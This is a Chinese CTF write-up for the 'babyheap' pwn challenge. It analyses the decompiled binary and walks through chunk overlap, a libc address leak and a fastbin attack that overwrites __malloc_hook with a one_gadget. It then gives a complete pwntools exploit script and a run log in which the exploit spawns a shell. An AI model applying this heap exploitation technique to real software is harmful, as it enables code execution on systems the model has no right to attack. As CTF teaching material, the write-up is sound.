源文件、IDA分析文件打包下载:http://file.eonew.cn/ctf/pwn/babyheap.zip 。
目录
程序功能介绍
安全防护
ex@Ex:~/test$ checksec babyheap
[!] Couldn't find relocations against PLT to get symbols
[*] '/home/ex/test/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序是Full RELRO
防护,使得劫持got表变得不可能,而且PIE
保护也会增加getshell的难度。
结构体
typedef struct container
{
long long is_used;
long long size;
char *ptr;
}container;
主程序
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
container *container_array; // [rsp+8h] [rbp-8h]
container_array = (container *)allocate_by_mmap();
while ( 1 )
{
show_menu();
get_number();
switch ( (unsigned __int64)global_operate )
{
case 1uLL:
Allocate(container_array);
break;
case 2uLL:
Fill(container_array);
break;
case 3uLL:
Free(container_array);
break;
case 4uLL:
Dump(container_array);
break;
case 5uLL:
return 0LL;
default:
continue;
}
}
}
菜单
int show_menu()
{
puts("1. Allocate");
puts("2. Fill");
puts("3. Free");
puts("4. Dump");
puts("5. Exit");
return printf("Command: ");
}
Allocate
void __fastcall Allocate(container *a1)
{
signed int i; // [rsp+10h] [rbp-10h]
signed int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i )
{
if ( !LODWORD(a1[i].is_used) )
{
printf("Size: ");
v2 = get_number();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
LODWORD(a1[i].is_used) = 1;
a1[i].size = v2;
a1[i].ptr = (__int64)v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}
calloc
The calloc() function allocates memory for an array of nmemb elements of size bytes each and returns a pointer to the allocated memory. The memory is set to zero. If nmemb or size is 0, then calloc() returns either NULL, or a unique pointer value that can later be successfully passed to free().
Fill
void __fastcall Fill(container *a1)
{
signed int v1; // [rsp+18h] [rbp-8h]
int size; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
v1 = get_number();
if ( v1 >= 0 && v1 <= 15 && LODWORD(a1[v1].is_used) == 1 )
{
printf("Size: ");
size = get_number();
if ( size > 0 )
{
printf("Content: ");
read_from_stdin(a1[v1].ptr, size);
}
}
}
这里的size是由用户输入而定的。
Free
void __fastcall Free(container *a1)
{
signed int v1; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
v1 = get_number();
if ( v1 >= 0 && v1 <= 15 && LODWORD(a1[v1].is_used) == 1 )
{
LODWORD(a1[v1].is_used) = 0;
a1[v1].size = 0LL;
free((void *)a1[v1].ptr);
a1[v1].ptr = 0LL;
}
}
free这里处理的很干净,基本找不出漏洞。
Dump
void __fastcall Dump(container *a1)
{
signed int index; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
index = get_number();
if ( index >= 0 && index <= 15 && LODWORD(a1[index].is_used) == 1 )
{
puts("Content: ");
output_to_stdout(a1[index].ptr, a1[index].size);
puts(byte_14F1);
}
}
输入container->ptr指向内存块的内容,没有'\0'截断。
分析
Fill
的size由用户控制,原本设想heap
overflow来构造unlink来控制container_array
变量来达到任意地址写的目的,但是container_array
的地址是完全随机的,所以这里用的是控制main_arena
上分的malloc_hook
来达到getshell的目的。calloc
函数又会给泄露libc基地址增加麻烦。
思路
- chunk extend
- 泄露libc基地址
- 劫持malloc_hook
chunk extend 进行 overlapping
# 用于overflow
Allocate(0x10) # index 0
Allocate(0x80) # index 1
Allocate(0x80) # index 2
# 防止与top chunk合并
Allocate(0x10)
# 修改 index 1 的 size 为 0x121
Fill(0, 0x10 + 0x10, b'a' * 0x10 + p64(0) + p64(0x121))
Free(1)
Allocate(0x80 + 0x90) # index 1
这里我将index 1
和index 2
重合。
泄露libc基地址
由于上面是用alloc
函数进行申请内存,所以会对内存进行'\0'填充,所以我们要先需要恢复 index 2 的chunk 首部。
# 2. 泄露libc基地址
# 恢复 index 2 的 chunk 首部
Fill(1, 0x80 + 0x10, b'b' * 0x80 + p64(0) + p64(0x91))
Free(2)
result = Dump(1)
main_arena_88 = u64(result[0x90: 0x90 + 8])
log.success('main_arena_88: ' + hex(main_arena_88))
# 这个需要自行计算
main_arena_88_offset = 0x3c4b78
libc_base = main_arena_88 - main_arena_88_offset
log.success('libc_base: ' + hex(libc_base))
由于不同的库函数main_arena_88_offset
是不同的,所以需要自行计算。
劫持malloc_hook
main_arena的布局如下,我们只需要把malloc_hook
修改为one_gadget
就可以getshell了。
pwndbg> p &main_arena
$1 = (struct malloc_state *) 0x7ff3b7c4bb20 <main_arena>
pwndbg> x/16gx 0x7ff3b7c4bb20-0x40
0x7ff3b7c4bae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7ff3b7c4baf0 <_IO_wide_data_0+304>: 0x00007ff3b7c4a260 0x0000000000000000
0x7ff3b7c4bb00 <__memalign_hook>: 0x00007ff3b790ce20 0x00007ff3b790ca00
0x7ff3b7c4bb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ff3b7c4bb20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7ff3b7c4bb30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ff3b7c4bb40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ff3b7c4bb50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
可以看到malloc_hook
就在上面。但是向前overlapping
的时候会对前面的chunk的size进行检查。所以我们需要进行一点偏移来伪造size。
pwndbg> x/16gx 0x7ff3b7c4bb20-0x40-3
0x7ff3b7c4badd <_IO_wide_data_0+285>: 0x0000000000000000 0x0000000000000000
0x7ff3b7c4baed <_IO_wide_data_0+301>: 0xf3b7c4a260000000 0x000000000000007f
0x7ff3b7c4bafd: 0xf3b790ce20000000 0xf3b790ca0000007f
0x7ff3b7c4bb0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ff3b7c4bb1d: 0x0100000000000000 0x0000000000000000
0x7ff3b7c4bb2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7ff3b7c4bb3d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7ff3b7c4bb4d <main_arena+45>: 0x0000000000000000 0x0000000000000000
one_gadget
不同版本的glibc,one_gadget是不同的,这个需要根据自己的机器变动。
ex@ubuntu:~/test$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
这里简单说一下本人犯的一个错误,在进行申请任意内存时,我用 unsorted bin 来操作的,因为这个问题还调试了挺久的,后面keer
大佬提醒要用fastbin 才反应过来。
# 3. 劫持 malloc_hook
Allocate(0x60) # index 2
Free(2) # 放入fastbin 中
Fill(1, 0x80 + 0x20 - 8, b'c' * 0x80 + p64(0) + p64(0x71)
+ p64(main_arena - 0x33)) # fd
Allocate(0x60) # index 2
Allocate(0x60) # index 4
one_gadget_offset = 0x4526a
one_gadget_addr = libc_base + one_gadget_offset
log.success('one_gadget_addr: ' + hex(one_gadget_addr))
Fill(4, 0x13 + 8, 'd' * 0x13 + p64(one_gadget_addr))
# getshell
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(10))
sh.interactive()
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
sh = process('./babyheap')
elf = ELF('./babyheap')
# context.log_level = "debug"
# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
def Allocate(size):
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(size))
sh.recvuntil('Command: ')
def Fill(index, size, content):
sh.sendline('2')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Size: ')
sh.sendline(str(size))
sh.recvuntil('Content: ')
sh.send(content)
sh.recvuntil('Command: ')
def Free(index):
sh.sendline('3')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Command: ')
def Dump(index):
sh.sendline('4')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Content: \n')
result = sh.recvuntil('Command: ')
return result[:-10]
def s():
raw_input('#')
# 清除流
sh.recvuntil('Command: ')
# 1. chunk extend 进行 overlapping
# 用于overflow
Allocate(0x10) # index 0
Allocate(0x80) # index 1
Allocate(0x80) # index 2
# 防止与top chunk合并
Allocate(0x10) # index 3
# 修改 index 1 的 size 为 0x121
Fill(0, 0x10 + 0x10, b'a' * 0x10 + p64(0) + p64(0x121))
Free(1)
Allocate(0x80 + 0x90) # index 1
# 2. 泄露libc基地址
# 恢复 index 2 的 chunk 首部
Fill(1, 0x80 + 0x10, b'b' * 0x80 + p64(0) + p64(0x91))
Free(2)
result = Dump(1)
main_arena_88 = u64(result[0x90: 0x90 + 8])
log.success('main_arena_88: ' + hex(main_arena_88))
main_arena = main_arena_88 - 88
log.success('main_arena: ' + hex(main_arena))
# 这个需要自行计算
main_arena_88_offset = 0x3c4b78
libc_base = main_arena_88 - main_arena_88_offset
log.success('libc_base: ' + hex(libc_base))
# 3. 劫持 malloc_hook
Allocate(0x60) # index 2
Free(2) # 放入fastbin 中
Fill(1, 0x80 + 0x20 - 8, b'c' * 0x80 + p64(0) + p64(0x71)
+ p64(main_arena - 0x33)) # fd
Allocate(0x60) # index 2
Allocate(0x60) # index 4
one_gadget_offset = 0x4526a
one_gadget_addr = libc_base + one_gadget_offset
log.success('one_gadget_addr: ' + hex(one_gadget_addr))
Fill(4, 0x13 + 8, 'd' * 0x13 + p64(one_gadget_addr))
# getshell
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(10))
sh.interactive()
# 删除pid文件
os.system("rm -f pid")
运行实例
ex@ubuntu:~/test$ ./exp.py
[+] Starting local process './babyheap': pid 2420
[*] '/home/ex/test/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] main_arena_88: 0x7f5fb4114b78
[+] main_arena: 0x7f5fb4114b20
[+] libc_base: 0x7f5fb3d50000
[+] one_gadget_addr: 0x7f5fb3d9526a
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
总结
三人行必有我师焉。